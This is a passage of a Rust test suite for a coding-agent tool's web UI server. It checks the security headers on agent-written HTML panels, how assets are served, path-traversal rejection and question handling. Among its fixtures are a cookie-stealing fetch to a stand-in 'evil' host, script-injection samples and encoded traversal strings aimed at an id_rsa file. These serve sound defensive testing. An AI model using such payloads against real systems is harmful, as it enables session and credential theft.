10764            "/api/questions",
10765            "/api/runs?limit=300",
10766            "/api/queue",
10767            "/api/talks",
10768            "/api/notifications",
10769            "/api/health",
10770            "/api/stats",
10771            "/api/loop",
10772            "/api/settings",
10773            "/api/repos",
10774        ] {
10775            let start = std::time::Instant::now();
10776            let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
10777            let elapsed = start.elapsed();
10778            eprintln!("{path}: {elapsed:?}");
10779            match result {
10780                Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
10781                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
10782                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
10783            }
10784        }
10785        assert!(failures.is_empty(), "{}", failures.join("\n"));
10786    }
10787
10788    struct Res {
10789        status: u16,
10790        headers: String,
10791        /// The header block with its original casing, for the assertions that
10792        /// compare a header *value* rather than looking for a name. Lowercasing
10793        /// a CSP would hide a directive spelled with a capital letter, and the
10794        /// whole point of that test is that the string is exactly right.
10795        head: String,
10796        body: String,
10797        /// The body before any UTF-8 handling, for the routes that serve
10798        /// something other than text. A panel asset is a PNG as often as not,
10799        /// and `from_utf8_lossy` would silently replace half of it.
10800        bytes: Vec<u8>,
10801    }
10802
10803    impl Res {
10804        fn json(&self) -> Value {
10805            serde_json::from_str(&self.body)
10806                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
10807        }
10808
10809        /// One header's value verbatim, or `None` when it was not sent.
10810        fn header(&self, name: &str) -> Option<&str> {
10811            self.head.lines().find_map(|line| {
10812                let (key, value) = line.split_once(':')?;
10813                key.trim()
10814                    .eq_ignore_ascii_case(name)
10815                    .then(|| value.trim_start().trim_end_matches('\r'))
10816            })
10817        }
10818    }
10819
10820    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
10821    /// be read to end-of-stream without parsing framing.
10822    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
10823        request_with(addr, method, path, body, &[]).await
10824    }
10825
10826    /// As [`request`], with extra request headers - conditional GETs need
10827    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
10828    /// worse than one that sets none.
10829    async fn request_with(
10830        addr: SocketAddr,
10831        method: &str,
10832        path: &str,
10833        body: Option<&str>,
10834        extra: &[(&str, &str)],
10835    ) -> Res {
10836        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10837        for (name, value) in extra {
10838            head.push_str(&format!("{name}: {value}\r\n"));
10839        }
10840        if let Some(body) = body {
10841            head.push_str("Content-Type: application/json\r\n");
10842            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
10843        }
10844        head.push_str("\r\n");
10845        if let Some(body) = body {
10846            head.push_str(body);
10847        }
10848        let mut socket = tokio::net::TcpStream::connect(addr)
10849            .await
10850            .expect("connect to the test server");
10851        socket
10852            .write_all(head.as_bytes())
10853            .await
10854            .expect("write request");
10855        let mut raw = Vec::new();
10856        socket.read_to_end(&mut raw).await.expect("read response");
10857        // Split on the raw bytes rather than on a lossy string, so a binary
10858        // body survives to be compared byte for byte.
10859        let split = raw
10860            .windows(4)
10861            .position(|w| w == b"\r\n\r\n")
10862            .expect("a header block");
10863        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10864        let bytes = raw[split + 4..].to_vec();
10865        let status = head
10866            .lines()
10867            .next()
10868            .and_then(|line| line.split_whitespace().nth(1))
10869            .and_then(|code| code.parse().ok())
10870            .expect("a status line");
10871        Res {
10872            status,
10873            headers: head.to_lowercase(),
10874            head,
10875            body: String::from_utf8_lossy(&bytes).into_owned(),
10876            bytes,
10877        }
10878    }
10879
10880    /// A `POST` carrying a raw binary body and its own headers, for the
10881    /// attachment upload route - `request_with` only ever sends
10882    /// `Content-Type: application/json`, which is wrong for an image and
10883    /// would corrupt anything not valid UTF-8 by round-tripping it through
10884    /// `&str` first.
10885    async fn request_bytes(
10886        addr: SocketAddr,
10887        path: &str,
10888        headers: &[(&str, &str)],
10889        body: &[u8],
10890    ) -> Res {
10891        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10892        for (name, value) in headers {
10893            head.push_str(&format!("{name}: {value}\r\n"));
10894        }
10895        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
10896        let mut socket = tokio::net::TcpStream::connect(addr)
10897            .await
10898            .expect("connect to the test server");
10899        socket
10900            .write_all(head.as_bytes())
10901            .await
10902            .expect("write request head");
10903        socket.write_all(body).await.expect("write request body");
10904        let mut raw = Vec::new();
10905        socket.read_to_end(&mut raw).await.expect("read response");
10906        let split = raw
10907            .windows(4)
10908            .position(|w| w == b"\r\n\r\n")
10909            .expect("a header block");
10910        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10911        let bytes = raw[split + 4..].to_vec();
10912        let status = head
10913            .lines()
10914            .next()
10915            .and_then(|line| line.split_whitespace().nth(1))
10916            .and_then(|code| code.parse().ok())
10917            .expect("a status line");
10918        Res {
10919            status,
10920            headers: head.to_lowercase(),
10921            head,
10922            body: String::from_utf8_lossy(&bytes).into_owned(),
10923            bytes,
10924        }
10925    }
10926
10927    /// A run on disk, without touching the process-global magi home.
10928    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
10929        let mut state = RunState::new(
10930            PathBuf::from("/repo/magi"),
10931            "main".to_owned(),
10932            "0123456789abcdef".to_owned(),
10933            "Add a web UI\n\nMobile first.".to_owned(),
10934            Config::default(),
10935        );
10936        state.id = id.to_owned();
10937        state.status = status;
10938        let dir = runs.join(id);
10939        std::fs::create_dir_all(&dir).expect("run dir");
10940        std::fs::write(
10941            dir.join("run.json"),
10942            serde_json::to_string_pretty(&state).expect("serialize run"),
10943        )
10944        .expect("write run.json");
10945    }
10946
10947    /// Same as [`write_run`], but against a named repository rather than the
10948    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
10949    /// spread across more than one.
10950    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
10951        let mut state = RunState::new(
10952            PathBuf::from(repo),
10953            "main".to_owned(),
10954            "0123456789abcdef".to_owned(),
10955            "task".to_owned(),
10956            Config::default(),
10957        );
10958        state.id = id.to_owned();
10959        state.status = status;
10960        let dir = runs.join(id);
10961        std::fs::create_dir_all(&dir).expect("run dir");
10962        std::fs::write(
10963            dir.join("run.json"),
10964            serde_json::to_string_pretty(&state).expect("serialize run"),
10965        )
10966        .expect("write run.json");
10967    }
10968
10969    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
10970        let body = serde_json::json!({
10971            "schema": 1,
10972            "pid": 4242,
10973            "started_at": Timestamp::now().to_string(),
10974            "updated_at": updated_at.to_string(),
10975            "idle": false,
10976            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
10977            "completed": 7,
10978            "polls": 143,
10979        });
10980        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
10981    }
10982
10983    /// A loop that starts, finds nothing to do, and waits to be told to stop.
10984    ///
10985    /// No test in this file may start the real loop - see [`Ui::launch`] for
10986    /// why - so this stands in for the only thing the routes need a loop to
10987    /// do: keep running until `Stop` is set, then return. A real
10988    /// `serve_until` here would resolve its queue and its status file through
10989    /// the process-global magi home, claim whatever it found in the
10990    /// operator's live backlog, overwrite the status file of the `magi serve`
10991    /// that owns it, and spend real agent quota on a real competition.
10992    fn launch_idle(
10993        _opts: daemon::Opts,
10994        stop: daemon::Stop,
10995    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10996        Box::pin(async move {
10997            while !stop.stopped() {
10998                tokio::time::sleep(Duration::from_millis(2)).await;
10999            }
11000            Ok(())
11001        })
11002    }
11003
11004    /// A loop that fails on the way up, the way one whose home has gone
11005    /// read-only does.
11006    fn launch_broken(
11007        _opts: daemon::Opts,
11008        _stop: daemon::Stop,
11009    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11010        // The stand-in dies instantly, so a restarted one can record its own
11011        // failure before the start's response is read. The second attempt
11012        // therefore fails with a different message, to tell a stale error
11013        // from a fresh one.
11014        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11015        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11016        Box::pin(async move {
11017            Err(anyhow::anyhow!(if first {
11018                "publish the daemon status file: read-only file system"
11019            } else {
11020                "the restarted stand-in failed as well"
11021            }))
11022        })
11023    }
11024
11025    /// The address the parking loop knocks on, and what it heard there.
11026    ///
11027    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
11028    /// capture a fixture's address; this is how it is handed one. Only
11029    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
11030    /// these, so nothing else in this binary can race them.
11031    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
11032    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
11033
11034    /// A loop that, once it is asked to stop, checks the deck still answers
11035    /// before it goes.
11036    ///
11037    /// It stands in for a run mid-node: `finish_loop` waits for this future,
11038    /// so the request it makes is strictly inside the park window - no sleep
11039    /// and no polling needed to be sure of that.
11040    fn launch_knocking_on_the_way_out(
11041        _opts: daemon::Opts,
11042        stop: daemon::Stop,
11043    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11044        Box::pin(async move {
11045            while !stop.stopped() {
11046                tokio::time::sleep(Duration::from_millis(2)).await;
11047            }
11048            let addr = PARK_KNOCK
11049                .lock()
11050                .expect("park knock")
11051                .expect("the test set an address");
11052            let heard = request(addr, "GET", "/api/health", None).await.status;
11053            *PARK_HEARD.lock().expect("park heard") = Some(heard);
11054            Ok(())
11055        })
11056    }
11057
11058    /// The loop view once `want` accepts it.
11059    ///
11060    /// Polled rather than asserted straight after the POST because stopping
11061    /// is deliberately not instant - that is the contract - and rather than
11062    /// slept through because a fixed wait is either flaky or slow.
11063    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
11064    /// finite, so a genuine hang fails the test instead of hanging the
11065    /// suite.
11066    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11067        for _ in 0..SETTLE_STEPS {
11068            let view = fx.get("/api/loop").await.json();
11069            if want(&view) {
11070                return view;
11071            }
11072            tokio::time::sleep(Duration::from_millis(10)).await;
11073        }
11074        panic!(
11075            "the loop never settled: {}",
11076            fx.get("/api/loop").await.json()
11077        );
11078    }
11079
11080    /// File an open question directly in the store the server reads.
11081    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11082        let store = fx.questions();
11083        let mut q = Question::new(
11084            "20260902-000000-beef".to_owned(),
11085            "implement".to_owned(),
11086            "impl-A".to_owned(),
11087            summary.to_owned(),
11088            "because it matters".to_owned(),
11089            choices.iter().map(|c| (*c).to_owned()).collect(),
11090        );
11091        store.put(&mut q).expect("put question");
11092        q.id
11093    }
11094
11095    /// A question with a panel the server can serve, plus the named assets.
11096    ///
11097    /// Written through `Questions::put_panel` rather than by laying out the
11098    /// directory here, so these tests exercise the same on-disk shape the
11099    /// agents produce and cannot pass against a layout only the tests know.
11100    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11101        let store = fx.questions();
11102        let mut q = Question::new(
11103            "20260902-000000-beef".to_owned(),
11104            "land".to_owned(),
11105            "fix".to_owned(),
11106            "Merge this?".to_owned(),
11107            "the diff is in the panel".to_owned(),
11108            vec!["merge".to_owned(), "hold".to_owned()],
11109        );
11110        // Staged outside the questions root, because `put_panel` copies from
11111        // wherever the agent left its files.
11112        let staging = fx.home.path().join("staging");
11113        std::fs::create_dir_all(&staging).expect("staging dir");
11114        let sources: Vec<PathBuf> = assets
11115            .iter()
11116            .map(|(name, bytes)| {
11117                let path = staging.join(name);
11118                std::fs::write(&path, bytes).expect("write staged asset");
11119                path
11120            })
11121            .collect();
11122        store
11123            .put_panel(&mut q, html, &sources)
11124            .expect("write the panel");
11125        store.put(&mut q).expect("put question");
11126        q.id
11127    }
11128
11129    /// A talk on disk, without talking to a model.
11130    ///
11131    /// Written as JSON straight into the store the server reads, because the
11132    /// only constructor `talk::begin` offers takes no turn but still requires
11133    /// a real caller-visible flow. The one thing this cannot make up is the
11134    /// seat, so it is built with the real `SeatState::new` and serialized -
11135    /// the alternative, hand-writing that object, would make these tests fail
11136    /// the day the seat gains a field.
11137    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11138        seed_talk_at(&fx.talks(), id, status)
11139    }
11140
11141    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11142        std::fs::create_dir_all(store.root()).expect("talks dir");
11143        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11144            .expect("serialize a seat");
11145        let body = serde_json::json!({
11146            "schema": 1,
11147            "id": id,
11148            "repo": "/repo/magi",
11149            "agent": "mock",
11150            "status": status,
11151            "turns": [],
11152            "created_at": Timestamp::now().to_string(),
11153            "updated_at": Timestamp::now().to_string(),
11154            "seat": seat,
11155        });
11156        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11157        store.get(id).expect("the seeded talk has to be readable");
11158        id.to_owned()
11159    }
11160
11161    #[tokio::test]
11162    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11163        let fx = Fixture::start().await;
11164        let id = panel(
11165            &fx,
11166            "<h1>Merge?</h1><img src=\"diff.svg\">",
11167            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11168        );
11169
11170        for path in [
11171            format!("/api/questions/{id}/panel"),
11172            format!("/api/questions/{id}/asset/diff.svg"),
11173        ] {
11174            let res = fx.get(&path).await;
11175            assert_eq!(res.status, 200, "{path}: {}", res.body);
11176            // The whole string, not a substring. A weakened directive - an
11177            // `img-src *` that lets a panel beacon out to a remote host, a
11178            // `script-src` anything, a missing `form-action` that lets it post
11179            // the owner's decision to a third party - has to fail here, and a
11180            // `contains` assertion would let every one of those through.
11181            assert_eq!(
11182                res.header("content-security-policy"),
11183                Some(
11184                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11185                     font-src data:; base-uri 'none'; form-action 'none'; \
11186                     frame-ancestors 'self'"
11187                ),
11188                "{path} is the only thing between a hostile panel and the tailnet"
11189            );
11190            assert_eq!(
11191                res.header("x-content-type-options"),
11192                Some("nosniff"),
11193                "{path}: a browser must not re-decide the type we sent"
11194            );
11195            assert_eq!(
11196                res.header("referrer-policy"),
11197                Some("no-referrer"),
11198                "{path}: a panel must not leak the question id off the machine"
11199            );
11200
11201            // The front end mounts the frame only after a `HEAD` says the
11202            // panel is there, so `HEAD` has to answer with the same status and
11203            // the same policy as `GET` - a preflight that came back without
11204            // the CSP would mean a frame mounted on an unverified promise.
11205            let pre = fx.head(&path).await;
11206            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11207            assert_eq!(
11208                pre.header("content-security-policy"),
11209                res.header("content-security-policy"),
11210                "{path}: the preflight carries the same policy"
11211            );
11212            assert_eq!(
11213                pre.header("content-type"),
11214                res.header("content-type"),
11215                "{path}: the preflight carries the same type"
11216            );
11217        }
11218    }
11219
11220    #[tokio::test]
11221    async fn a_panel_reaches_the_browser_byte_for_byte() {
11222        let fx = Fixture::start().await;
11223        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
11224        // tag, an entity, and a multi-byte character. The sandbox is what makes
11225        // this safe, so nothing here may be rewritten on the way out - a
11226        // rewritten diff is a diff the owner cannot trust.
11227        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
11228        let id = panel(&fx, html, &[]);
11229
11230        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11231
11232        assert_eq!(res.status, 200);
11233        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11234        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11235        assert_eq!(
11236            res.header("content-disposition"),
11237            None,
11238            "the panel itself is rendered in the frame, not downloaded"
11239        );
11240    }
11241
11242    #[tokio::test]
11243    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11244        let fx = Fixture::start().await;
11245        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11246        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11247        let id = panel(
11248            &fx,
11249            "<img src=\"diff.svg\"><img src=\"shot.png\">",
11250            &[("diff.svg", svg), ("shot.png", png)],
11251        );
11252
11253        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11254        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11255
11256        assert_eq!(as_svg.status, 200);
11257        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11258        // An SVG is XML that may carry script. Inside the panel it is an
11259        // `<img src>` and the script cannot run; opened at the top level it
11260        // would be a document on magi's own origin, so the browser is told to
11261        // download it instead of rendering it.
11262        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11263
11264        assert_eq!(as_png.status, 200);
11265        assert_eq!(as_png.header("content-type"), Some("image/png"));
11266        assert_eq!(
11267            as_png.header("content-disposition"),
11268            None,
11269            "a raster image has no execution surface, so tapping it still shows it"
11270        );
11271        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11272    }
11273
11274    #[tokio::test]
11275    async fn an_html_asset_is_never_served_as_html() {
11276        let fx = Fixture::start().await;
11277        let id = panel(
11278            &fx,
11279            "<p>see the notes</p>",
11280            &[
11281                (
11282                    "notes.html",
11283                    b"<script>fetch('http://evil/'+document.cookie)</script>",
11284                ),
11285                ("hook.js", b"fetch('http://evil/')"),
11286                ("data.json", b"{}"),
11287                ("HEADLINE.TXT", b"plain"),
11288            ],
11289        );
11290
11291        for name in ["notes.html", "hook.js", "data.json"] {
11292            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11293            assert_eq!(res.status, 200, "{name}: {}", res.body);
11294            // Serving this as text/html would be a way to reach agent markup
11295            // at the top level of the operator's browser, outside the frame's
11296            // sandbox and outside its CSP - which is the whole thing the panel
11297            // design exists to prevent. Unlisted types are downloads.
11298            assert_eq!(
11299                res.header("content-type"),
11300                Some("application/octet-stream"),
11301                "{name} must not be a type the browser will execute or render"
11302            );
11303        }
11304        // The whitelist is matched case-insensitively, so an agent shouting the
11305        // extension still gets a readable file rather than a download.
11306        let txt = fx
11307            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11308            .await;
11309        assert_eq!(
11310            txt.header("content-type"),
11311            Some("text/plain; charset=utf-8")
11312        );
11313    }
11314
11315    #[tokio::test]
11316    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11317        let fx = Fixture::start().await;
11318        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11319        // Something outside the panel directory that a traversal would reach if
11320        // one got through, so a passing test is not merely "the file was
11321        // missing anyway".
11322        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11323
11324        // Decoded before this server's handler sees them: axum percent-decodes
11325        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
11326        // string with a NUL in it. All three look like ordinary single-segment
11327        // filenames to the router, so the router passes them through and
11328        // `valid_asset_name` is what refuses them - for the literal `..`, and
11329        // for `/`, `\` and NUL not being in the permitted character set.
11330        for encoded in [
11331            "%2e%2e%2fid_rsa",
11332            "..%2fid_rsa",
11333            "..%5cid_rsa",
11334            "%2e%2e%5cid_rsa",
11335            "diff%00.svg",
11336            "..",
11337            ".hidden",
11338            "%2e%2e%2f%2e%2e%2fid_rsa",
11339        ] {
11340            let res = fx
11341                .get(&format!("/api/questions/{id}/asset/{encoded}"))
11342                .await;
11343            assert_eq!(
11344                res.status, 400,
11345                "`{encoded}` has to be refused by name, not looked up: {}",
11346                res.body
11347            );
11348            assert!(res.json()["error"].is_string(), "{}", res.body);
11349        }
11350
11351        // Not decoded, and never this handler's problem: a real slash makes the
11352        // request one segment too long for `/api/questions/{id}/asset/{name}`,
11353        // so axum's router has no route to match and answers before any code
11354        // here runs. Asserted so that a future route with a wildcard segment
11355        // cannot quietly open this door.
11356        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11357            let res = fx
11358                .get(&format!("/api/questions/{id}/asset/{literal}"))
11359                .await;
11360            assert_eq!(
11361                res.status, 404,
11362                "`{literal}` must not match the asset route at all: {}",
11363                res.body
11364            );
11365        }
11366    }
11367
11368    #[tokio::test]
11369    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11370        let fx = Fixture::start().await;
11371        let plain = ask(&fx, "Which backend?", &["SQLite"]);
11372        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11373
11374        // A question nobody wrote a panel for. The client preflights with HEAD
11375        // and cannot see inside a sandboxed frame, so this must be a status and
11376        // not an empty page.
11377        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11378        assert_eq!(none.status, 404, "{}", none.body);
11379        assert!(none.json()["error"].is_string(), "{}", none.body);
11380        assert_eq!(
11381            fx.head(&format!("/api/questions/{plain}/panel"))
11382                .await
11383                .status,
11384            404,
11385            "the preflight is the only way the client can learn this"
11386        );
11387
11388        // A name that is perfectly legal and simply is not there.
11389        let missing = fx
11390            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11391            .await;
11392        assert_eq!(missing.status, 404, "{}", missing.body);
11393        assert!(missing.json()["error"].is_string(), "{}", missing.body);
11394
11395        // A question that does not exist at all, on both routes.
11396        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11397        assert_eq!(
11398            fx.get("/api/questions/nope/asset/diff.svg").await.status,
11399            404
11400        );
11401    }
11402
11403    #[tokio::test]
11404    async fn a_run_with_an_open_question_reads_as_waiting() {
11405        let fx = Fixture::start().await;
11406        let run = "20260902-000000-beef".to_owned();
11407        write_run(&fx.runs(), &run, RunStatus::Implementing);
11408
11409        let before = fx.get("/api/runs").await.json();
11410        assert_eq!(before[0]["waiting"], false, "{before}");
11411
11412        let store = fx.questions();
11413        let mut q = Question::new(
11414            run.clone(),
11415            "implement".to_owned(),
11416            "impl-A".to_owned(),
11417            "Which backend?".to_owned(),
11418            String::new(),
11419            vec!["SQLite".to_owned()],
11420        );
11421        store.put(&mut q).expect("put");
11422
11423        let during = fx.get("/api/runs").await.json();
11424        assert_eq!(during[0]["waiting"], true, "{during}");
11425
11426        // Answered: the run is moving again, and the flag has to follow without
11427        // anything having rewritten run.json.
11428        q.answer(Answer::Choice("SQLite".to_owned()))
11429            .expect("answer");
11430        store.put(&mut q).expect("put");
11431        let after = fx.get("/api/runs").await.json();
11432        assert_eq!(after[0]["waiting"], false, "{after}");
11433    }
11434
11435    #[tokio::test]
11436    async fn an_open_question_is_listed_and_counted_by_health() {
11437        let fx = Fixture::start().await;
11438        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11439
11440        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11441        let listed = fx.get("/api/questions").await.json();
11442        assert_eq!(listed.as_array().expect("array").len(), 1);
11443        assert_eq!(listed[0]["id"], id);
11444        assert_eq!(listed[0]["status"], "open");
11445        assert_eq!(listed[0]["choices"][1], "Redis");
11446        // The count is what makes the phone's indicator honest: it is the one
11447        // number meaning nothing will move until a human acts.
11448        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11449    }
11450
11451    fn obsolete_approval_state() -> RunState {
11452        let mut state = crate::land::tests::repair_state(true, true);
11453        state.pr = Some(crate::run::PrRecord {
11454            url: "https://github.com/example/repo/pull/42".into(),
11455            number: 42,
11456            state: "open".into(),
11457            checks: "green".into(),
11458            round: 1,
11459            rounds: 4,
11460            red_at_merge: Vec::new(),
11461        });
11462        state
11463    }
11464
11465    #[tokio::test]
11466    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11467        for owner in ["missing", "current", "completed", "later"] {
11468            let fx = Fixture {
11469                home: TempDir::new().unwrap(),
11470                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11471            };
11472            let mut state = obsolete_approval_state();
11473            state.status = RunStatus::Landing;
11474            state.parked = true;
11475            state.driver_exited = true;
11476            let mut q = Question::new(
11477                state.id.clone(),
11478                crate::land::APPROVAL_NODE.into(),
11479                "land".into(),
11480                "Old approval".into(),
11481                "Original evidence".into(),
11482                vec!["merge".into(), "hold".into()],
11483            );
11484            state.land_approval = Some(crate::run::LandApproval {
11485                question: q.id.clone(),
11486                head: "head".into(),
11487            });
11488            state.save_under(fx.home.path()).unwrap();
11489            let stale = state.clone();
11490            fx.questions().put(&mut q).unwrap();
11491            let mut task = Task::new(
11492                "Owner".into(),
11493                "Original instruction".into(),
11494                state.repo.clone(),
11495                Source::Human,
11496            );
11497            task.runs.push(state.id.clone());
11498            task.status = if owner == "completed" {
11499                TaskStatus::Done
11500            } else {
11501                TaskStatus::Parked
11502            };
11503            if owner == "later" {
11504                task.runs.push("later-run".into());
11505            }
11506            if owner != "missing" {
11507                fx.queue().put(&mut task).unwrap();
11508            }
11509            let ui = Arc::new(Ui::new(
11510                fx.queue(),
11511                fx.questions(),
11512                fx.talks(),
11513                fx.runs(),
11514                fx.home.path().into(),
11515                state.repo.clone(),
11516            ));
11517            let response = question_answer(
11518                State(ui),
11519                Path(q.id.clone()),
11520                Ok(Json(NewAnswer {
11521                    choice: Some(crate::merge_decision::DISMISS.into()),
11522                    text: None,
11523                    ..Default::default()
11524                })),
11525            )
11526            .await
11527            .unwrap();
11528            assert_eq!(
11529                response.0.question.resolution().as_deref(),
11530                Some(crate::merge_decision::DISMISS)
11531            );
11532            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11533            assert_eq!(disk.status, RunStatus::Superseded);
11534            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11535            assert!(!crate::merge_decision::resumable_hold(&disk));
11536            assert_eq!(
11537                serde_json::to_value(&disk.pr).unwrap(),
11538                serde_json::to_value(&stale.pr).unwrap()
11539            );
11540            assert_eq!(fx.questions().count_open(), 0);
11541            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11542            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11543            if owner == "missing" {
11544                assert!(fx.queue().list().is_empty());
11545            } else {
11546                let after = fx.queue().get(&task.id).unwrap();
11547                assert_eq!(
11548                    after.status,
11549                    if owner == "current" {
11550                        TaskStatus::Done
11551                    } else {
11552                        task.status
11553                    }
11554                );
11555                assert_eq!(after.runs, task.runs);
11556                assert_eq!(after.instruction, task.instruction);
11557                assert_eq!(after.action_applied(&q.id), owner == "current");
11558            }
11559        }
11560    }
11561
11562    #[tokio::test]
11563    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11564        let fx = Fixture::start().await;
11565        let mut state = obsolete_approval_state();
11566        state.status = RunStatus::Landing;
11567        state.parked = true;
11568        state.driver_exited = true;
11569        let mut q = Question::new(
11570            state.id.clone(),
11571            crate::land::APPROVAL_NODE.into(),
11572            "land".into(),
11573            "Superseded PR approval".into(),
11574            "Original review evidence".into(),
11575            vec!["merge".into(), "hold".into()],
11576        );
11577        state.land_approval = Some(crate::run::LandApproval {
11578            question: q.id.clone(),
11579            head: "old-reviewed-head".into(),
11580        });
11581        // The old persisted PR may still say open even when a separate change
11582        // already landed. Dismissal must not use that snapshot to close it.
11583        state.save_under(fx.home.path()).unwrap();
11584        let stale_driver = state.clone();
11585        fx.questions().put(&mut q).unwrap();
11586        let path = fx
11587            .home
11588            .path()
11589            .join("questions")
11590            .join(format!("{}.json", q.id));
11591        let mut legacy = serde_json::to_value(&q).unwrap();
11592        legacy["schema"] = 9.into();
11593        legacy.as_object_mut().unwrap().remove("merge_target");
11594        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11595
11596        // POST without GET tests legacy upgrade and validation at the actual
11597        // entry point, rather than constructing a modern card in the test.
11598        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11599        let answer_path = format!("/api/questions/{}/answer", q.id);
11600        let res = fx.post(&answer_path, Some(&body)).await;
11601        assert_eq!(res.status, 200, "{}", res.body);
11602        let disk = fx.questions().get(&q.id).unwrap();
11603        assert_eq!(
11604            disk.resolution().as_deref(),
11605            Some(crate::merge_decision::DISMISS)
11606        );
11607        assert!(disk.detail.starts_with("Original review evidence"));
11608        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11609        assert_eq!(retired.status, RunStatus::Superseded);
11610        assert_eq!(
11611            serde_json::to_value(&retired.pr).unwrap(),
11612            serde_json::to_value(&state.pr).unwrap()
11613        );
11614        assert!(!retired.merge_decision.as_ref().unwrap().closed);
11615        assert!(!crate::merge_decision::resumable_hold(&retired));
11616        assert!(fx.queue().list().is_empty());
11617        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11618        // A restarted server re-reads the persisted pending list.
11619        let addr = Fixture::serve(
11620            fx.home.path(),
11621            PathBuf::from("/repo/magi"),
11622            launch_idle,
11623            None,
11624        )
11625        .await;
11626        let reconnected = Fixture {
11627            home: fx.home,
11628            addr,
11629        };
11630        let listed = reconnected.get("/api/questions").await.json();
11631        assert!(
11632            listed
11633                .as_array()
11634                .unwrap()
11635                .iter()
11636                .all(|q| q["status"] != "open")
11637        );
11638        assert_eq!(listed[0]["id"], q.id, "history remains available");
11639        assert_eq!(
11640            reconnected.get("/api/health").await.json()["questions_open"],
11641            0
11642        );
11643        assert_eq!(
11644            reconnected
11645                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
